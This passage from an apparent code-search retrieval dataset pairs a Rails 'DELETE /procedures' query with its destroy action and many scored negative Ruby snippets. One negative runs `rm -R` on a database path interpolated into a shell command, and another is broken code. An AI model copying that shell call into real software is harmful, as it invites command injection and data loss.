"0.53113717",
"0.530622",
"0.53060615",
"0.5295172",
"0.5293687",
"0.5293098",
"0.52909845",
"0.5290855",
"0.5285902",
"0.5283106",
"0.52752227",
"0.52696055",
"0.52641565",
"0.5260728",
"0.52581733",
"0.525755",
"0.5256863",
"0.525572",
"0.52535224",
"0.52506405",
"0.52497774",
"0.5248222",
"0.52466905",
"0.52411735",
"0.52374315",
"0.5237019",
"0.52355915",
"0.5233348",
"0.52259624",
"0.52239096",
"0.5221213",
"0.52211976",
"0.5220152",
"0.5214318",
"0.5213846",
"0.52132684",
"0.5205515",
"0.52019036",
"0.52016824",
"0.520015",
"0.51932144",
"0.5188918"
] |
0.5274123
|
69
|
DELETE /procedures/1 DELETE /procedures/1.json
|
def destroy
@procedure.destroy
respond_to do |format|
format.html { redirect_to procedures_url, notice: 'Procedimiento ha sido eliminado con éxito.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @procedure.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @procedure = Procedure.find(params[:id])\n @procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/procedures\" }\n format.xml { head :ok }\n end\n\n end",
"def destroy\n @visit_procedure.destroy\n respond_to do |format|\n format.html { redirect_to visit_procedures_url, notice: 'Visit procedure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proceduretype.destroy\n respond_to do |format|\n format.html { redirect_to proceduretypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @patient_procedure.destroy\n respond_to do |format|\n format.html { redirect_to patient_procedures_url, notice: 'Patient procedure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @procedure_type.destroy\n respond_to do |format|\n format.html { redirect_to procedure_types_url, notice: 'Procedure type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mission_procedure.destroy\n respond_to do |format|\n format.html { redirect_to mission_procedures_url, notice: 'Mission procedure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @procedure_type.destroy\n respond_to do |format|\n format.html { redirect_to procedure_types_url, notice: 'Tipo de tramite eliminado exitosamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @con_proc.destroy\n respond_to do |format|\n format.html { redirect_to con_procs_url, notice: 'Con proc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n StoredProcedures.delete(as_id(id))\n end",
"def destroy\n @car = Car.find(params[:car_id])\n @lien_procedure = @car.lien_procedures.find(params[:id])\n @lien_procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to @car }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scan_procedure = ScanProcedure.find(params[:id])\n @scan_procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to(scan_procedures_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hq_proc = HqProc.find(params[:id])\n @hq_proc.destroy\n \n respond_to do |format|\n format.html { redirect_to(hq_procs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @proverb.destroy\n respond_to do |format|\n format.html { redirect_to proverbs_url, notice: \"Proverb was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @procedure_subcategory.destroy\n respond_to do |format|\n format.html { redirect_to procedure_subcategories_url, notice: 'Procedure subcategory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_procedures(params, phase)\n # phase needs to be equal to either \"checkout\" or \"checkin\"\n phase_params = params[:equipment_model][:\"#{phase}_procedures_attributes\"]\n return if phase_params.nil?\n phase_params.each do |k, v|\n if v['id'] && v['_destroy'] != 'false'\n @equipment_model.send(:\"#{phase}_procedures\")[k.to_i].destroy(:force)\n end\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def destroy\n @pluto_process_definition = collection.find(params[:id])\n @pluto_process_definition.destroy\n\n respond_to do |format|\n format.html { redirect_to @core_application }\n format.json { head :ok }\n end\n end",
"def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end",
"def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pdb = Pdb.find(params[:id])\n @pdb.destroy\n\n respond_to do |format|\n format.html { redirect_to pdbs_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @price_schema.destroy\n respond_to do |format|\n format.html { redirect_to price_schemas_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n make_call(mk_conn(path), :delete)\n end",
"def destroy\n @verb.destroy\n\n head :no_content\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete(*rest) end",
"def delete endpoint\n do_request :delete, endpoint\n end",
"def destroy\n @prod_cli.destroy\n respond_to do |format|\n format.html { redirect_to prod_clis_url, notice: 'produto excluido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pg_first.destroy\n respond_to do |format|\n format.html { redirect_to pg_firsts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @protein_complex = ProteinComplex.find(params[:id])\n @protein_complex.destroy\n\n respond_to do |format|\n format.html { redirect_to protein_complexes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @soap.destroy\n respond_to do |format|\n format.html { redirect_to soaps_url, notice: 'Soap was successfully destroyed.' }\n format.json { head :no_content }\n\n end\n end",
"def destroy\n @voprosy = Voprosy.find(params[:id])\n @voprosy.destroy\n\n respond_to do |format|\n format.html { redirect_to voprosies_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @database = Database.find(params[:id])\n path = @database.path\n delete = %x[rm -R #{path}]\n @database.destroy\n\n respond_to do |format|\n format.html { redirect_to databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pv.destroy\n respond_to do |format|\n format.html { redirect_to proyect_pvs_path(@proyect), notice: 'Propuesta de Valor ha sido eliminada.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_protein = RefProtein.find(params[:id])\n @ref_protein.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_proteins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @psa = Psa.find(params[:id])\n @psa.destroy\n\n respond_to do |format|\n format.html { redirect_to psas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bicepstriceps1.destroy\n respond_to do |format|\n format.html { redirect_to bicepstriceps1s_url, notice: 'Bicepstriceps1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n onevnet('delete', resource[:name])\n @property_hash.clear\n end",
"def destroy\n @p1.destroy\n respond_to do |format|\n format.html { redirect_to p1s_url, notice: 'P1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n db = PG connect( {dbname: 'bounty_hunter',\n host: 'localhost'\n })\n sql = 'DELETE from bounty_hunter'\n db.prepare('delete_one', sql)\n db.exec_prepared('delete_one', value)\n db.close()\nend",
"def destroy\n @api_method = ApiMethod.find(params[:id])\n @api_method.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_provider_operation.destroy\n respond_to do |format|\n format.html { redirect_to v1_provider_operations_url, notice: 'Provider operation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete!\n StoredProcedures.delete(self.id) if self.id\n end",
"def destroy\n @prim.destroy\n respond_to do |format|\n format.html { redirect_to prims_url, notice: 'Prim was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @primary.destroy\n respond_to do |format|\n format.html { redirect_to primaries_url, notice: 'Primary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_dependance = ServiceDependance.find(params[:id])\n @service_dependance.destroy\n\n respond_to do |format|\n format.html { redirect_to service_dependances_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @operation = Operation.find(params[:id])\n @operation.destroy\n\n respond_to do |format|\n format.html { redirect_to operations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @healthpro.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @schema = Schema.find(params[:id])\n @schema.destroy\n\n respond_to do |format|\n format.html { redirect_to schemas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @schema = Schema.find(params[:id])\n @schema.destroy\n\n respond_to do |format|\n format.html { redirect_to schemas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @prog.destroy\n respond_to do |format|\n format.html { redirect_to progs_url, notice: 'Prog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @propose = Propose.find(params[:id])\n @propose.destroy\n\n respond_to do |format|\n format.html { redirect_to proposes_url }\n format.json { head :no_content }\n end\n end",
"def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @service_fault.destroy\n respond_to do |format|\n format.html { redirect_to service_faults_url, notice: 'Service fault was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @progre = Progre.find(params[:id])\n @progre.destroy\n\n respond_to do |format|\n format.html { redirect_to(progres_url) }\n format.xml { head :ok }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @promocion = Promocion.find(params[:id])\n @promocion.destroy\n\n respond_to do |format|\n format.html { redirect_to promocions_url }\n #format.json { head :ok }\n end\n end",
"def crud_delete(resource_name, service_name, primary_key_name, api_options = {})\n api_options = get_defaults(api_options)\n delete '/'+resource_name+'/:'+primary_key_name do\n service = settings.send(service_name)\n\n # Must Exist\n return 404 unless service.exists_by_primary_key?(params[primary_key_name.to_sym])\n\n # Do Delete\n return 500 unless service.delete_by_primary_key(params[primary_key_name.to_sym])\n\n 204\n end\n end",
"def destroy\n scan_procedure_array =current_user.edit_low_scan_procedure_array.split(' ') #[:edit_low_scan_procedure_array]\n @question_scan_procedure = QuestionScanProcedure.find(params[:id])\n @question_scan_procedure.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_scan_procedures_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @api_v1_progress.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_progresses_url, notice: 'Progress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n #@service_request = ServiceRequest.find(params[:id])\n @service_request.destroy\n\n respond_to do |format|\n format.html { redirect_to service_requests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @processdef = Processdef.find(params[:id])\n @processdef.destroy\n\n respond_to do |format|\n format.html { redirect_to processdefs_url }\n format.json { head :no_content }\n end\n end",
"def delete(query)\n\n connect if @persevere.nil?\n\n deleted = 0\n\n if ! query.is_a?(DataMapper::Query)\n resources = [query].flatten\n else\n resources = read_many(query)\n end\n\n resources.each do |resource|\n tblname = resource.model.storage_name\n id = resource.attributes(:field)['id']\n \n # Retrieve the ID from persever if the resource doesn't have an ID field\n if id.nil?\n query = Persevere.enhance(resource.query)\n path = \"/#{tblname}/#{query.to_json_query_filter}[={'id':id}]\"\n response = @persevere.retrieve(path, {})\n id = JSON.parse(response.body)[0]['id'].match(/(\\w+\\/)*(\\d+)/)[2]\n end\n \n path = \"/#{tblname}/#{id}\"\n # path = \"/#{tblname}/#{resource.key.first}\"\n \n DataMapper.logger.debug(\"(Delete) PATH/QUERY: #{path}\")\n\n result = @persevere.delete(path)\n\n if result.code == \"204\" # ok\n deleted += 1\n end\n end\n return deleted\n end",
"def delete(path)\n request(:delete, path)\n end",
"def delete(path, **options)\n execute :delete, path, options\n end",
"def destroy\n @proforma_invoice.destroy\n respond_to do |format|\n format.html { redirect_to proforma_invoices_url, notice: 'Proforma invoice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @routine = Routine.find(params[:id])\n @routine.destroy\n\n respond_to do |format|\n format.html { redirect_to routines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @routine = Routine.find(params[:id])\n @routine.destroy\n\n respond_to do |format|\n format.html { redirect_to routines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vpn = Vpn.find(params[:id])\n checkaccountobject(\"vpns\",@vpn)\n @vpn.send_delete\n\n respond_to do |format|\n format.html { redirect_to vpns_url }\n format.json { head :ok }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def delete\n \n end",
"def destroy\n @prospecto.destroy\n respond_to do |format|\n format.html { redirect_to prospectos_url, notice: 'Prospecto eliminado' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_service.destroy\n respond_to do |format|\n format.html { redirect_to invoice_services_url, notice: 'Invoice service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @statement = Statement.find(params[:id])\n @statement.destroy\n\n respond_to do |format|\n format.html { redirect_to statements_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @provision = Provision.find(params[:id])\n @provision.destroy\n\n respond_to do |format|\n format.html { redirect_to(provisions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @az_operation = AzOperation.find(params[:id])\n @az_operation.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_operations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @consulta_procedimento.destroy\n respond_to do |format|\n format.html { redirect_to consulta_procedimentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @insert_printmethod.destroy\n respond_to do |format|\n format.html { redirect_to insert_printmethods_url, notice: 'Insert printmethod was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def delete(path)\n\t\trequest(path, :delete)\n\tend",
"def delete\n\n end",
"def destroy\n @ped_program_definition = PedProgramDefinition.find(params[:id])\n @ped_program_definition.destroy\n\n respond_to do |format|\n format.html { redirect_to ped_program_definitions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @core_status_parametrizacao = Core::StatusParametrizacao.find(params[:id])\n @core_status_parametrizacao.destroy\n\n respond_to do |format|\n format.html { redirect_to core_status_parametrizacaos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @poc.destroy\n respond_to do |format|\n format.html { redirect_to pocs_url, notice: 'Poc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @round_robin_promo = RoundRobinPromo.find(params[:id])\n @round_robin_promo.destroy\n\n respond_to do |format|\n format.html { redirect_to round_robin_promos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_invoice.destroy\n respond_to do |format|\n format.html { redirect_to service_invoices_url, notice: 'Service invoice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sequence_database = SequenceDatabase.find(params[:id])\n @sequence_database.destroy\n\n respond_to do |format|\n format.html { redirect_to sequence_databases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @service_prov_type.destroy\n respond_to do |format|\n format.html { redirect_to service_prov_types_url, notice: 'Service prov type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n api(\"Delete\")\n end"
] |
[
"0.71648514",
"0.6946582",
"0.6905413",
"0.66724515",
"0.66357803",
"0.6536717",
"0.65070456",
"0.6495447",
"0.6474534",
"0.64603686",
"0.6454383",
"0.6355719",
"0.63376004",
"0.6315889",
"0.6264774",
"0.6262492",
"0.62152237",
"0.61697316",
"0.61622554",
"0.6155662",
"0.61533403",
"0.61384374",
"0.6135999",
"0.61338747",
"0.6112802",
"0.61055464",
"0.60827047",
"0.60789293",
"0.60724646",
"0.60722876",
"0.6065841",
"0.60637945",
"0.6062061",
"0.60573226",
"0.60570663",
"0.6056232",
"0.60518545",
"0.60435134",
"0.60346586",
"0.602906",
"0.6028083",
"0.60273063",
"0.6023703",
"0.60154545",
"0.60127735",
"0.60087436",
"0.6006294",
"0.6001082",
"0.59879464",
"0.59879464",
"0.59879464",
"0.59879464",
"0.5986719",
"0.598662",
"0.5985388",
"0.5978988",
"0.5974688",
"0.59704393",
"0.59704393",
"0.5970067",
"0.5967163",
"0.59653884",
"0.5956263",
"0.59530663",
"0.595201",
"0.59514576",
"0.5950075",
"0.59460926",
"0.59460706",
"0.59421533",
"0.5941984",
"0.59413356",
"0.59406555",
"0.5939565",
"0.59374833",
"0.5937382",
"0.5934589",
"0.59320295",
"0.59320295",
"0.5928505",
"0.59251016",
"0.5923338",
"0.5923172",
"0.5920829",
"0.59203064",
"0.59194636",
"0.59078115",
"0.5902807",
"0.59019923",
"0.59009594",
"0.58996195",
"0.5898756",
"0.5896292",
"0.5895545",
"0.5894875",
"0.58941483",
"0.58924377",
"0.5889934",
"0.5889587",
"0.58867353"
] |
0.68802035
|
3
|
Use callbacks to share common setup or constraints between actions.
|
def set_procedure
@procedure = Procedure.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
GET /projetos GET /projetos.json
|
def index
@projetos = Projeto.accessible_by(current_ability).order('created_at DESC')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end",
"def show\n \n @projetos = Projeto.all\n \n end",
"def index\n @projetos = Projeto.all\n end",
"def index\n @projetos = Projeto.all\n end",
"def list\n get 'projects'\n end",
